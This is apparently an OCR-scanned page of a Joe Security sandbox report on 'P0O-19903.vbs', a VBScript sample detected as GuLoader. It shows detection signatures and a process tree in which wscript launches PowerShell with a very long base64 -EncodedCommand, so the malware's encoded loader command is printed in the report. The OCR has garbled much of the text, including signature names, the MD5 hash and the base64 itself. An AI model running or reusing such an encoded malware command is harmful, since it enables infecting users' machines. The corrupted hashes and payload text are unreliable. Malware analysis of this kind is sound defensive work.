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Windows Analysis Report

P0O-19903.vbs

Overview

General Information Detection Signatures Classification

Sample P0O-19903.vbs
Name: MALICIOUS

Analysis ID: 625175

Found malware configuration

Multi AV Scanner detection for subm...

MDS: 0347b27843d88f.. Yara detected GuLoader
Shie 2a2d6bcd2d8383. Wscript starts Powershell (via cmd ..
SHAZSG: lab3aacaab2faa.. C2 URLs / IPs found in malware con...
Tags:

¢ Potential malicious VBS script foun...

Encrypted powershell cmdline option...

Very long command line found
Guloader yiong

Found a high number of Window / U...

Infos: n Q & D

Score: 84

Range: 0- 100 Queries the volume information (nam...
Whitelisted: false Yara signature match

Confidence: 100%

Java / VBScript file with very long s...

Process Tree

= System is w10x64
. i; wscript.exe (PID: 6420 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\PO-19903.vbs" MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)

o E¥ powershell.exe (PID: 2404 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand “IWBEAGKAcWBKAGEAaQAGAEQA
aQBzAGgAdQBtAGEANQAgAFMAbwBYAHQAIABUAEEARgBGAEUAIABDAHIAY QBtAHAAbwBVAG4AZAAgAECAUgBVAE4AVABIAE4ARWBCACAAUABYAGUAY QBIAGIA
dQBsAGEAdJAAZACAAQQBzAHMAaQBtAGKAbAA2ACAARYB1AHIACWBIAGOAaQBKAGUAYJAgAEYAdQBYAGKAZQBUAHMAZABIAGMAIABBAGWAY QBYAGOAdQBYAGUA
MgAgAEMAaABVAHIAaQBIACAASABVAEOATWAGAEYASQBTAFQARQBMAFMAVABFAEOAIABTAHQAZQBNAGUAIABJAGIAZQBZAHMAZQAGAGIAY QBYAHIAeQBtAGBA
CcgAgAEEAbgBUAGCACcgBIAHQAaABIADMAIAANAACAIWBSAGUAbBQBPAGAAZWBSAGKANAAGAG UAcgBUAHIAIABCAGUAcWBWAHKAJAAgGAFMAdQBSAHAAaABVAHOA
aQBUADgAIABWAEKAUgBHAFUATABBACAASQBGAFIARAAgAEY AbwBYAGUAIABQAGWAJQBYAGEAbAB2AGUAawBzADEAIABQAHIAbwBMAGKAbABIAGAAdQAgAGAA
bwBUAGYAbwAgAEKAbgBgAHUACWBOADKAIABOAG8AdQBYAGKACWBOAGOAZQBUADMAIABOAGBAbQBhAGYAY QB2AGSAZQBUACAARQBzZAHMAYQB5ADEAIABCAEWA
QQBBACAAdJABYAGEAbgBzAGOAbwBNnACAAaAB1AGWAawAgAGKkAbgBsSAGEAeQBIACAADQAKACMAawB2AGEACgAgAESAbWBIAGEAbgBNAGYAbwBYADYAIABIAHKA
CABIAHIAYQBYAGMANgAgGAECAQQBSAEQARQBSAESAQYBFAE4AIABPAGAAYWBVAHMACABOAGUACYBIACAAQYBIAGAAZWBSAGKADgAgAEIAQQBSAFKAVAAgAFQA
TwBNAEEAUWBUAEUAIABDAESAUgBSAESAQYBPAFIAQQBUACAAQWBZAESARQBMAFAAQQBSACAAUWBOAGEAZABZAGWAZWAZACAAQYBhAGMAaQBSAG
WAZQBIACAAQYBMAFUAUgBUAEKATgAgAGEAZABtAGKkAbgBpAHMAJABYACAATQBpAGWAaQBIAHUAYgAzZACAAQYBSAGEAZABIAGWAZQA4ACAAY QBWAGBAbQBIAH
QAYQBIACAADQAKACMAUABIAGEAbBAA4ACAASWBPAGAAZWASACAATWBWAGOACYBrAGUACgBJAGBAIABIJAEQARQBMAEKARWBFAFMASQAgAFMAeQBZAHQAZQBIAG
EAJAA3ACAAUABYAGUAbwBWAGUAcgAzZACAAUgBIAHMAbWAgAFMAUABBAECATgBVAEOAIABMAGEAbgBKACAACYBIAGMAawBVAG4AaQAgAGQAZQBWAHIAYQB2AG
UACgAgAGYAYQBYAHQAagBzAGYAbwBYyAHQAIABMAEEATgBOACAARWBYAGKAZgBMAG8AbgBhAGCAMWAJAEEARYBTAEUAIABOAGOACWBKACAAY QBUAGEADABSAH
MAZQBhAHIAYgAgAEEATQBVAEWAQQBTACAADQAKACMAJQBUAGOAbwBSAGWAeQAgAEKAbgBzAHQACYB1AGOAZQBUACAARWBMAEEATABJAEKATgBHAEWAIABSAG
UAcwBVAGEACAAgAFCAbWBIAGEAbgBpACAATABIAGCAZWBPAGUACgATACAAVQBOAEIAUgBFAEEASWBIAE4ARWAGAEBACIBpPAGWADABPAGBAIABhAGQACGBIAG
EAIABBAEWAVABPAEWAQQBUACAARGBhAGCAbWAYACAASQBUAGYADABhAGOAbQBhAHQANJAGAEMATWBDAESATgBFAFKARABPAEOAIABTAFKATQBQAEBAUWBJAC
AAZWBYAGEAdgBIAHIAZQB1ACAARgBPAFIAVQBEACAARGBBAFMAVABSAEUAUWBGAEKAIABLAG8AbgBOAHIAbwBSACAAUWBLAFIATABFAFYAIABBAE4AQQBMAF
kAVABJAESARQBSACAAVQBOAEMAUgAgAFMAbwBYAHQACWBYACAAdgBpAGQAbYBIAGYAcgBzZACAARQBPAEMAQQBSAEIATWAgAFQAYQBrAHQAIABCAGUAdAB2AG
kAdgBsAGUAcgAzZACAAVYBIAGWAYQBYACAADQAKACMAUGBIAHYAY QBUAGMAaABIAHIAIABXAGBACYBKAGEAY gBSAGUACWAgAGWAbWB1AHMAaQBIAHIADQBhAC
AAaQBUAGQADbABVAGCACgBIAHIAbgAgAEEAJABOAGEAIABSAEUAQYBMAESAVWBOAECAVQAJAFEAVQBFAEIAUgBJAFQASABDACAARWBSAE4AUWBFAESAVQBFAF
IARWAgAGYAcgB5AHQADABIAHIAbgBIAHMAIABMAEUATQBQAEUATABJAECARQBTACAADQAKACMAY QBUAGQAZQBSAHMACWAGAEMAY QBIAGIAYQBSAGWAbBQAOAC
AAUWBVAHIAJABIAHIAaQBUAGCAIABMAGA4AZWBZAHQADABIAHYAZQBUACAAbWB1AHQAYgBVAHGAZQAGAFMASQBHAE4ASQBGAEKAQWBBAFQAIABNAGEAbgBhAC
AARABVAE4ASWBBAFIARAAgAFUAbgBzZAGMAbwBYACAAdABYAG8AbgBIACAAaABSAHAAbwBOAGUAbQBPAGEAZWAGAEOAQQBUAFQARQBTAFQARQAJAGUAbgBNAH
IAbwBzACAARgBIAHIAaQAYACAAVQBOAEMATWBOAFYARQAGAEOAaQBUAGQACWBOAGUAaABJACAATGBPpAHQACGBVAGCAZQBUACAAYWBOAGUAdgAgAESAbwBYAH
AANgAgAHMAdABOAGUAZAAGAGOAaQBzAGSACYBIAGQAIABIAGOAZQBUAGAAZQBzAGSAZQAGAECAY QBSAGBACABSAGBAIABVAGQACWBrAHIAaQB2ADIAIABNAE
EARWBOAEUAVABPAEOARQBUACAAVABSAEKATABMAEKATWBOAFQASAAJAEgAQQBBAFIAQgBSAFMAVABFACAASQBIAGOAYQBOAGMANGAgAGQACYBL
AGUAaAAgAFMACWBSAGEAIABDAGSAdQBUAHQACYB5AHIAbWAYACAATgBVAGAAZQB4ACAADQAKACMAQQBSAGKACWBWAGYAZQBUACAACWBIAGWAY QAgAGKAZABt
AGOAZQBsSACAAVABYAGKAYgBYAGEAYWAYACAAVABPAGWAZQBNAG4AAZQBSACAAVQBUAGQAZQAGAGQAawBzAGQAIABOAHUAagBhAHMAJQBYACAAQWBPAHIAYWA4
ACAAQgBYAG8AbwWAgAEEACABWAGUAMQAQGAEBAawBzAGUAaABIAGQAZQAGAGAAZQBOAHMAdABYAGBAZQBIACAAVABIAGSAbgBVAGWAbwBNADIAIABrAGWAbwBY
AGUAIABCAEEATABMAEEARABSACAAVQBOAEYATABVAFQAVABFAFIARQAGAGIAbwB5AGSAbWAgAFQAaQBsAGIAcgBpAGAAZWBIACAACABOAHKACWBpACAARGBF
AEWAVWBPACAARWBIAG4AZQBYAGKAcWBrAHQAdgATIACAAUWB1AGsAawBIACAATABVAGQAZWBIAGEACgBOADMAIAANAACAIWBVAGAAZQB2AGEAZABhACAARQBU
AGMAZQBWAGGAMgAgAHAAbWBSAGUACYBIAGOAaQAgAHOAY QBIAGEACYBPAGEACWBZACAACWBIAGBABABSACAAQYUBVAGEAJABSADCAIABTAGEAbQBhAHIAIABI
AHUAJABJAGgAaQAgAGEAYWBIAHQAY QBUAGKAbWBUACAASQBOAFQARQAGAFMAJABIAGIAYgAgAGEAbABKAGUAIABMAGEAbQBIAGSAIABOAG8AbgBYAGUAdABY
AGEAIABTAGSAYQBUAGQAYQBSAGUAaAAgAHAACYBIAGMAZQBSAGUAYgBYAGEAIABQAHIAbWBOAGBACABYAGUACWA1ACAABABPAHYAcwBMAG8BACYBzAGKAIABY
AFAAQQYBSAEKATQBBAEOAQUAJAFMASABIAFYARQAGAFUAbgBJAGEAMWAGAGSACYBIAGEAdABPACAASABVAHYAZQBKAGEAZgBZACAAVWB1AGCAZWBSAGKAaWAY
AAOACGAJAFUATgBEAECAQQBBAFIAVABBACAASWBUAHUAZAA3ACAAJABYAGEACABWAGUAJABYAGKAbgAJAGYAaQBYAGUABQBhAHMAJABIAHIAIABVAE4ASQBO
AFQATWBYAEKAIABBAHIAYWB0AGUAIABSAEUARABVACAAbQB5AHgAbWBUACAATQB1AHQAdQBhAGWANQAJGAGIADABVAGSACGAJAFMAJABPAGWACWBIACAAQQBP
AGCAdQBpAGWAbABIAHMACQA3ACAACWBWAGUAIWBPAGUAIABQAGEACWBrAG8AOAAGAEgAbWB2AGUAZABOAHIAYQBWACAAUWBPAGBAdQAJAEMACYBIAGEAJABL
ACAATQB1AGCAZWAGAEEAUgBUAFCATWBSAESAUWBLAESAIABSAEEAQQBEAFKAUgBFAE4ARQAGAFAAbWBVAHIABAASACAAQQBKAHYAbwBrAGEAdABMAGB8ACgAY
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AEEAYgBVAHIAJAAYACAAbQBVAHIACWBIAGWAaQBEAGUADBGAGAAOACIA]AGBADQBIAGEAJABPAGQAaQAJAEOAVQBMAEWASQBHAEEATGBTAFUAIABCAGUADGBI
AGA4AZAA3ACAACWBWAHIAagBOAGUAZWBpACAAQWBIAGOAZQBUADCAIABHAGUADgGBIAHIAYQBOAGSACGBIACAAUWBOAEEAUABTAEUARGAGAEIATWBUAEEATgAY
AGKAbgBMAGEAIABGAGEAYQBtAGWAJABIAGUAJAAZACAAZGBpAHMAaWBIAHIAawAgAEIAagByAGCAZQBYAGAAZQBWACAAUWBhAGIAZQAYACAAQQBIAHQAaQBY
ACAARQBYAGYAdQA3ACAARgB1AHMAaQBVAG4AZQBYAGKAMgAgAEWAVQBEAESAUWBUAEEATgBEACAAQYBBAFQASABPAFIAUWBFAEMAIABYAGUAdgBVACAACWBh
AG4ACWBIAGBACYAGAEEAZgBzAHQAaQBNADKAIABTAFQAUYGBBAE YARGAGAEUACGBIAGWACGBPAGAAZWBZAGOAIABBAHIAYgBIAGOAZAAGAFMACABIAGMAIAA3
ACAAUABYAG8AZWBYyAGEAbQAOACAASGBPAFUATGBDAEKAIABQAHIAZQBVAHUAJABSACAAY QBZAHQACYBVAGYAeQBzAGKAIABTAFQARQBOAFOARQBCAFIATgAY
AEEACABWAGSAIABMAGKADABIAGBAIABLAG8AbQBIAGEAZQBYAHMAIAANAAOAIWBBAGIAZABIAGWACWBIAGYAMAGAEMAaQB2AGKADAASACAAQWBhAHIAYQB]
AGEAIABIAGUAbQBpPAGgAeQBKAHIAbWAGAHAADWBKAGBAZAB5AGAAaQBhACAAZWBhAGWAY QAgAEGARQBMAESARABFAFIATQBXACAAQQB1AGQAaQBOAGKAdgAg
AEgATWBNAEUAVWBPAFIAVABGAFIAIAB1IAHAACWBYAGKAIABMAGWAZQBLAHIAZQBOAHQAZQBYACAACGBIAGOAY QBOACAAJQBUAGUAEABJAGUACGBWAHQAIABT
AHAAaQBSAGWAZQBYAGUADAAOACAASQBOAEQASWAJGAECACGBhAGQAZABhAGCACWBOACAAbWBJAHUADABhACAAQEBhAGAAdABhAGOAdgBNAHQAIABVAGAAZABI
ACAAVQBVAHAACWBrAGEAYQBYADCAIABMAHKACWBWAHUAbgBrAHQAZQALACAAawBVAGOAbQBhAGAAZABVAGWAIABUAGKADABIAGEAMgAGAAOACYAJAFIAZQB2
AGA4AZQBYAG4AZQBWAHIAIABJAGS8ADABLAGOAYJAGAFMAeQBUAGQAIABVAE4AARWBMAESAQgBVAEWAQQAJAESACABKAGUAIABIAGUAaQBIAGSACWBhAGOAYQAg
AEIAYQBhAG4AZAALIACAAYWBVAHMAJABVAGMADABhACAAZGBhAGOAaQAGAEGAZQBYAHMAYWBOADYAIABUAFIAVQBUAEOAVQBOAEQAIABBAG4ABABPAHMADQAS
ACAATWBMAEKAQUBBAE4AVQBNACAATYBPAEOASQBOAEEATABOACAASQBSAGQAZgBLAGCAbABZACAAZABPAHIAZQBJAHQADWAGAFMAaABhAHAAZQAGAFUACABH
AHMACWBIAGWAaQBNACAACABhAHIAYQBIAHUAIABXAGgAaQBMAGYAIABEAEKARWBFAEQARQBTACAAUWBIAGEAYQBUAHMAZQBSAHMADAAOACAAbWBWAHQACGBY
AGSAZQAJAEUACGBSAGEAZWBOAGUANWAGAHYAaQBIAGWACWBIAGEAZgBMACAARGBYAGKADABhAGAAMIAGAFMAZQBKAGEADbBIACAAUWBSAGAAZQBVAGOAdAB2
AGKACWASACAAIQBUAGMAaQBhAGWACGBIACAASAB2AGEADABMAGEAIAANAACAIWBBAHYAaQBzAHMACABhADCAIABVAGYAZBIAGUAYQBOAHMAYgAGAEIACBp
AGCAZWBIAHIAbgBIAHMAIABTAHQAYQBUAGQAYQBYAGQAJQAOACAAVQBOAFMAUABFAEUARAAGAEEADQBIAHIAaQBJAGEAbYBpACAAQWBZAFMAVABPAEWAIABY
AE4AUABFAE4AIABaAGUAJABhADKAIABLAGA4AYWBYyAHUADQBWACAARQB1AHIAbwBWADGAIABGAGSACYBzAHYAYQBYADgAIABUAGUAbgBUAGKACWBMAGKANgGAY
AEUAJABpAHMAawA1ACAAUWBPAGEADQBIAHMANQAGAGCAYQBSAGCAZQBUAGYAdQAGAEOAbWBOAGYAZQBYAHMADbWBIADYAIABFAHIAZQBIADEAIABLAFKATABM
AEKATgAgAEEAbgBKAHIAZQBUAGKAZAAGAHAAaQBZAGSAJABIAGKADYBJAGWAIABNAGUAJABhAHMADWBIAGEACWBPACAASQBYAHIAYQBOAGKABWAGAFYAQQBM
AEWATWBOAEUAUgGBFAE4AIABTAGSAdQBSAGQAOAAGAEIASQBVAE4ASQBUAFKASWAGAAOACGAJAEEAZABZAGIADABVAHIAYWBOAGKANQAGAFEAJQBPAGAACQBL
AGUAIABIAEUATQBJAEMARQAgAHUAZABrAG8ADbQBIAGUAIABZAGSAYQBYAGWAIABVAFAAUABVAEYARgBOAEUARWBSACAAUABIAE4ARQBTAEEAIABBAFQASABF
AFIATWAGAGYAbwBYAHKAbgBNACAAJQBUAGMAbWBUAGYAaQBKACAASQBKAGSAbYBIAGKAIABPAHIAJABOAGBAZABVAHgAaQAYACAACWBOAHKACGBIACAAYQBM
AGQAZABIACAAUWBMAFUAVABUAEUARABFACAADQAKACMARABJAEEAQWBPAE4ASQAGAESAdgBhAGAAJABPAHQANQAGAHUAbGBKAGYADABSAGUAZA
BIACAAUABYAGEAZQBzACAAVABVAFAARQBLAFMATWBNAE4AIABKAGUADQBIAG4AJAAGAFQAbQBYAGUACWAGAEEAbgBOAGUADBQBhAHIAZWALACAAQQB2AG8AdW
BIAGkAbgBKADKAIABWAHIAaQBIACAASABFAEWASQBOAECAIAANAACAIWBTAEKARABFAESAUGBEAE4AIABHAGEADAB2AGEAbGBVAHAAIABTAHKAZGBPAGWAOA
AgAGMAeQBKAGKACABWAGKAIABTAGGAY QBtAGEAbgAGAECAIQBhAGAACWAGAFMADABhAHAACABIAHIAMQAGAEUAbgBzAHUAIABTAHQAdQBKAHKACWBMAHUAIA
BjAGUAYWBpACAAQQBMAHQAZQBUADCAIABZAGWAYQBWAHAAZQBSACAAVABSAEKAVABPAE4ARQAGAEOAJQBZAGKAYWBSAGKANQAGAEGAZQBYAHQA
dQBNAGQAbQBIAGUAIABMAGSBACYBIAGEADbGBIAGAAZAAGAGIACGBhAGKADABSAGUACWBKAGKAIABIAESBATQBFAEWASQAJAFAATABFAEEAIABWAHUACGBPAGYA
aQBJAGEAJAAGAEYAQQBMAEIAWQBEAEUATABTAEUAIAANAAOAIWBIAE4AVABSACAARWBYAGEAdgBSAHMAdgBhAHIADQAGAGOAdQBzAGKAaWBOAGEAIABDAGGA
YQBpAHIAbQAOACAARGBYAGKAYgBVAHMACWBhADUAIABUAGKAbABZAGOAJQBKADUAIABKAHKACWBMAHUADbgAgAGSsAaABhAHIAbWAGAFYAZQBYAGQAIABTAFUA
UABFAFIAIABJAGA4AYQBWAHAAZQBOACAAQWBPAESATABOAEUAUWBTAEUAUWAGAEIAY QBNAHYAIABGAGWAbWBYAGKAZGAGAEEACBAGKAZGBVACAAUABOAHKA
YQBSADQAIABQAGEAZABzAGEAIABTAGSAYQBhAGWAMWAGAEQAVQBMAEWAWQBIAEOATABQACAAUWBIAGKAJABZADIAIABGAGWAEQB2AGUAIABUAHIAbWBSAGQA
ZABVAGOACWASACAAIQBMAGS8ACYBLACAAIQBUAHYABWAJAEQAUGBBAECATgAGAGYAYQBUAHQAYQBZzAGKADAAGAAOACYAJAEYAcgB5AGCAJABIAGCADWBVAGQA
IABNAGEAZWBUAGUAIABTAHQAeQBYAGUAZgBJAGUACYBIACAAVABPAGAAZgB1ACAACABPAGAAZGAGAGAAZABOAHY AdQBUACAAUWBIAGSACWBLAGEAIABUAGKA
bABzAHQAbgBpADCAIABWAHIAZABPAHAAYQA4ACAAVQBUAGYAY QB2AGSACgASACAAUWBOAGEADAA2ACAAJABVAHAAYWBVAGEAJABPAGAAIABHAESARABLACAA
TgBhAGCACWBIAGEAbgAGAEWAVQBUAEKAUWBUAFMAVQBEAEUAIABCAEUATABMAEEARAAGAFAAY QBSAHQAIABPAHAACWBOACAAQWBJIAFIAQWBVACAASWBSAGEA
bQBYAGUAIABhAGYAZWBYAGYAJABIACAARGBYAGUAbQBrAGEADABKAGUAIAANAAOAIWBhAGAAY QBSAHKACWBIAGOAIABGAHIAeQBKAGUAZgBIAGWAMQAGAFQA
dQBIAGUACgAgAESAdQBzAGKAbgBIACAARABSAGsAawBIACAARQBIAHAAY QBOAGKACWBIAGSAbWAGAE Y AcgBKAGKAZWBNAHIANAAGAESACGBNAGEAbgBpAHMA
MQAQAFAAYQBSAGOAYQBOAGKAIABNAE UARABEAEUATABNAEEAIABNAGUAbgBzAHUACgBhAHQAaQBVADGAIABOAGEAYgBIAHIACWBYACAARGBIAFIATQBJIAEAA
VABFAFIAQQAGAEEAZgBSAGEAZABZAGSACYBIAGOAIABCAGEAawBSAHKAZWBOAGUACgBUADKAIABQAEUAQQBTAEEATgBUACAAJABPAGWAZWAGAFMAJABhAHIA
ZQBKADYAIABCAG8ACgBOAHMADABNAGUAbgAgAFMAVgBFAEWAVABFAFMASWBFAEWAIABDAGKADABPAGKAJQBIAHAAbWBSADEAIABCAEUAVBIAEQAUWBUAECA
UgBHACAAZABKAG4AaQBUAGCAIABHAEEATQBFAFMAVABSAEUAUWBTACAACABSAGOAbgBPAGAAZWAGAFMACABVAGAAZABpAHMAawBIADgAIABOAGKAZABVACAA
awByAGEAawBpAGWAZQBYAG4AIABBAGYAcwBIAHIAaQBSAGWANAAGAAOACGAJAFUAbgBKAGUACgBSAGUAdgBIACAAQQBIAHKAbwBZAHQAAABIADGAIABPAHIA
awBUAGUAeQAgAHMAJABIAGQACWBUAGKAbgBNAGUAIABZAGUACgBhAHUAYJAGAEQAQQBOAE4ARQBCAFIATWBHACAAUWB2AHIAZABSAGKAIABUAHIAGQBVAHAA
cwBzAGSAYQBOADIAIABSAESAVABUAEUARgBMAEQARQBSACAASWB2AGEACGBOACAACWBOAGEAJWBSAGWAaQBIAGUADQAJAGQAY QBhAHMAIABLAEEAUWBUAE4A
SQBOAECARQAGAEYAZQBIAGQAZQAYACAAZQBIAGIAZQBKAHMAZQBrAHMAIABWAGUADABNAHIAZQBYACAAQWBVAGCAaQBOAGEAIABQAGEAaABhACAAYgBYAGAA
ZABzACAAVABSAFKASWBNAEEAIABTAHKAbgBSADKAIABDAGWAaQBOAGBACgBVAGOAOQAJAEEAbgBUAHUADgA4ACAAVQBOAEKAUGAGAFUATYBXAEUAIABPAHAA
aQBUAGKAIABVAGQAYQBKAHYAZQAJAGKAbgBKAGKAYQBUACAAUGBVAEIATgJAGAEEADABPAGCAaABOACAAUWBOAHYAbABIAHQAJABIACAADQAKACMAY QBSAGWA
bwBWAGEAIABTAGUACcWBhACAAQQBUAGKAbQBhAGWAIABJAEOATQBJAECAUgBBACAAUWBWAHIAagBOAGUADbgAgAE4AbWBVAGQADABPAGAAZWAGAEWAY QBJAHEA
dQBIAHIANAAGAEIAQEBDAEOAVQBUAFQARQAJAGEAYgB1AHOAIABBAGWAZWBIAHYAawBzACAAQWBOAGEACGBIAGUAJABYADEAIABUAGYAZQBUAGMAZQBMAGSA
cgAYACAAVABPAGAACWBIAGWACGAXACAAUWBSAHYACWBUAGBACGBIACAAIQBUAHMAYQB3ACAASABVAEWAVWBPACAAaABJAHQACWBPAGQAIABhAGYACWBSACAA
DQAKACMAUgBPAFMARQBPACAARGBBAEIAUgBJAESARQBSACAAUABFAE4AVAAgAFMADABhAGCAIABXAHUAYQB2AGUACYBIAGQAZABIACAAJABYAGUAZABVAGIA
bAAGAGMAZQBUAGBAZWBIAGAAIABVAEgASgBMAFAAUWAGAGIAZQBNAHIAbABpACAAUABSAESAQYBMAEUATQAJAFQAaABIAHIAY QBWAHMAaQBKADQAIABUAHIA
bgByAGOAaQBjAHIAbwBWACAAVQBUAGEACYGASACAAUABSAEUASGBVACAASAB2AGKADABIAGQAYQBNAGUAbGAGAEWAEQBNAHQAZQBWAGWAJWBOAGKANQAGAEWA
YQB2AGKACWBOAGUACWAXACAAY gBVAG8AawBzAGUAbABSAGKAbgAgAHMADbWBIAGSAbwBIAHMAawB2AGKAIABKAGSACgBOACAAUYBIAGAAZABIAGCACGBhAHYA
bgAgAAOACYAJAE4AaQB2AGUAY QALACAAYWBVAGAAYWBSAHUACWBPAGIAIABTAFAARQBFAFIASQBOAECAIABTAHUACABIAHIAbWBMAGYAaQBJACAARWBhAGAA
ZwBsAGKAbgBJAGUACWAZACAAYQBzAGMAaAAGAFIAZQBzAGKAZABIAGAAIABTAFQASgBGAEKATABUAFIARQAgAHUADbgBpAHQAJABIACAATABFAECARQBSAEUA
RABFACAACWBOAGUACgAgAGKAZABIAGUACGAGAEBACABIAGWAY gBIAGUAbgB2AGAAIABTAGUACGBIAGEAbgAgAHMADBABhAHYAZQAGAAOACYAAHQAEQBYAGEA
bgBUAGKAIABIAGBAZWBIAG4ACWAJAEgAQQBOAEQARQBMAFMARgGBPAFIAIABFAHAAaQBrAGUACgAgAFYARQBEAFIATWBFACAAUABhAHIAZQAGAEKAbGBOAHIA
dgBhAHMAIABQAGUAJABYAGBAZWBIAG4AeQAYACAAQQBzAHMAZQBUAGQAZQBUACAAUWBIAGCAYQBYAGKAbgBNACAAAQBJAGYAJABOAHKAbWBZAGEAdQAGAAOA
CgAJAEWAYQBUAGQAbQBhAHMACWAOACAAUGBIAGEACYBIAHMACAA2ACAAUABYAGUAYWBIAGWAZQBIAHIAY QAgAFAAY QBZAGKAZWBhAGAAZWBNADUAIABVAGAA
cgBIAG4AdQBUAGMAIABCAEEARWBTAFQAIABTAFQASYBHAFIATgAgAFUAbgBWAHIAZQBMAGUACgAGAFQATQBSAEUAIABMAGSAZABOAHIAawBUAGKAbGBNACAA
QWBVAG4AdgAXACAAVGBBAEUAUgBOAEUAIABOAGS8ADABhACAAZQB4AHAAZQBYAGKADQBIACAAVABSAGSAaWBIAHMACABSAGEAZAAXACAARQBVAFAATAAGAFAA
bwBzAHQACABYAG8AagBIACAAUABSAGE8AdgBMAHUACGBIAHMAOAAGAEEACGBIAGUAagBKADMAIABOAGSAYgBhAGSAIABSAGEAZABPAGSANGAGAEEAUWBQAEKA
UQAGAEMAbWBUAHIAYQBKAGYAZQBIrADEAIABTAGAAY QBYAGKAOQAGAEKADQBPAHQAYQBOAGKAOAAGAESAY QBNAGUADQBhAGQANWAGAEEAZGBNAHUAZABZACAA
DQAKACMAVQBOAFAASAAGAEYAcgBIAHIAOAAGAFIAZQBKAGKAIABIAGS8AdgBIADQAIABEAEEAVABBAEIAQQBTAEUAUWAGAFQASQBMAEIAQQBHACAAUGBVAHQA
dABIAHIAbgBIACAAcWBhAGA4ACWBIAG8ACgBNAGEAbgAgAHMACQB1AGKACgBOACAATWBIAGBACABSAGEAJABVAHMAYWAQGAFIAcWBrAG4AAIABLAHKAbABSADKA
IABUAESATgBFAEQAUWBLAEKARgAGAEMAbwBhAGMANWAGAHMACABVAGAAZWB5AHMAIABLAGEAJABOAGUANWAQAEgAeQBKAHIAbWBOAGYAZQBYAGEANGAGAEMA
TWBNAFAAUgBFAEGARQAGAFMAY QB4AGBAIABQAEEAUABJIAFIAVAAGAGIAY QBYAHKAZQAGAHIAY QBOAGBAbgBMAGSBACIBIAGQAIAANAAOAIWBIAGAAZABIACAA
QQBNAFAASABJAFAATWBEACAAUWBWAHIADWBNAGYAbWA2ACAAYgBVAGAAZAAGAEEATABUAFMAVAAGAEMAAABhAGAAZWBVAGEADYBhAG4AIABQAEEAVQBSAESA
UAAQAEYAbwBYAGOAaQBUACAATABVAHYACABYAGKACWBMAHIAZQA3ACAARQB4AGMADWBAHQAaQA2ACAAVABBAESAVABTACAAQQBUAHQAQBIAGOACABPAHIA
aQA3ACAARWBhAHIAbgBIAHIAAQBUAGCAZQAGAFAATABBAE4AAWABUACAASWBOAEKAVGBNACAAdYBYAGQAaQBYAGUAZABLIACAAUABVAGWAEQBJAGIADWBYACAA
ZQBSAGKACWBVAHIACWBOACAAVYBPAHQAZQBZAHMAZQAYACAACWBIAHMACWBPACAAQYBVAHIAJABSAGUAZABOAGUAIABLAEEATGBEAEKAUWBFAE4ASWAGAECA
aQBUAHMAaQAOACAASWBVAE4AUWBUAEOAVQBTAEUAIABQAGEACGBIAHIAaQBUACAAUWBRAFUAVQBTAEGATWBLAFUATAAGAGOAY QBOAHIAaQBJAHUADABhAHQA
IABEAGKAbQBZAHMACWBIADQAIABTAEUAUWBUAEKAQQBOACAAUGBIAGGAY QBIAGKABABPAHQAIAANAAOADQAKAAOACYBBAGQAZAAIAFQAeQBWAGUAIAAIAFQA
eQBWAGUARABIAGYAaQBUAGKAJABPAGSAbgAJAEAAIGANAAOAIQBZAGKAbYBNACAAUWB5SAHMAJABIAGOAOWANAACAIQBZAGKADYBNACAAUWBSAHMAJABIAGOA
LgBSAHUAbgBOAGKADQBIAC4ASQBUAHQAZQBYAGBACABTAGUACYB2AGKAYWBIAHMAOWANAAOACABLAGIADABPAGMAIABZAHQAY QBOAGKAYWAJAGMADABhRAHMA
CWAQAEYAbwBYAGWAeQASADEADQAKAHSADQAKAFSARABSAGWASQBIAHAAbWBYAHQAKAAIAGCAZABPADMAMYAIACKAXQBWAHUAY gBSAGKAYWAgAHMAJABhAHQA
aQBJACAAZQB4AHQAZQBYAGAAIABIAGAAdABQAHQACIAJAEUADYB1AGOARGBVAGAAJABZAEEAKABZAHQACYBPAGAAZWAGAE YAQQBCAEWARQASAHUAAQBUAHQA
IABLAG8AbgBNAGUAaABIAHMALABPAGAAJAAGAEQAaQBZAHYAbwBPAGMAZQBhAGBALABPAGAAdAAGAE Y AbwBYAGWAeQASADAALABPAGAAJAAGAEOAY QBPAGAA
YQBzAGMAaABIACWAaQBUAHQAIABNAG8ACGBhAGWAaQBOADEALABPAGAAJAAGAFQATWBSAEUAQQBEAESAKQA7AAOACYBDAEQADABSAEKADQBWAGSBACYBOACYA
IgBLAEUAUgBOAEUATAAZADIAIgASACAARQBUAHQACGBSAFAAbBWBPAGAAdAAIACIAQWBYAGUAY QBOAGUARYBPAGWAZQBBACIAKQBIAHAAJQBIAGWAQBJACAA
CcWBOAGEAJABPAGMAIABIAHgAJABIAHIADGAGAEKADgBOAFAAJABYACAAVBPAGEAYWAOAFSATQBhAHIACWBOAGEADABBAHMAKABVAGAADQBhAGAAYQBNAGUA
ZABUAHKACABIACAATABQAFMAJABYACKAXQBZAHQACYBPAGAAZWAJAEYAQQBCAEWARQASAHUAaQBUAHQAIABLAG8AbgBNAGUAaABIAHMALABPAGAAIAAGAEQA
aQBzAHYAbWBpAGMAZQBhAGBALABPAGAAJAAGAE Y AbwBYAGWAEQASADAALABPAGAAJAAGAEOAY QBPAGAAY QBZAGMAaABIACWAaQBUAHQAIABNAGSBACGBhAGWA
aQBOADEALABPAGAAJAAGAFQATWBSAEUAQQBEAESAKQA7AAOACYBbAEQADABSAEKABQBWAGSBACYBOACYAIgBUAHQAZABSAGWAIGAPAFOACABLAGIADABPAGMA
IABZAHQAYQBOAGKAYWAgAGUAeABOAGUACYBUACAAaQBUAHQAIABOAHQAQQBSAGWAbWBJAGEAJABIAFYAaQBYAHQAJQBhAGWATQBIAGOAbWBYAHKAKABPAGAA
dAAGAEYAbwBYAGWAeQASADYALABYAGUAZgAGAEKAbgBOADMAMYAGAHIAIQBZAHQAbYBPAGAAZWBIAHIALABPAGAAJAAGAFAADWBPAGAAJABZAGOAZQBUAGYA
LABYAGUAZgAgAEKAbgBOADMAMYAGAE Y AbwBYAGWAeQASACWAaQBUAHQAIABXAESAUGBLAFMASABIAFAATQBFACWAaQBUAHQAIABGAGSACGBSAHKAOQA3ACKA
Copyright Joe Security LLC 2022 Page 5 of 24



OwWANAAOAWWBEAGWADABJAGOACABVAHIAJAAOACIASWBFAFIATgBFAEWAMWAYACIALAAGAEUAbgBOAHIAeQBQAG8AaQBUAHQAPQAIAFIAZQBhAGQARGBPAGWA
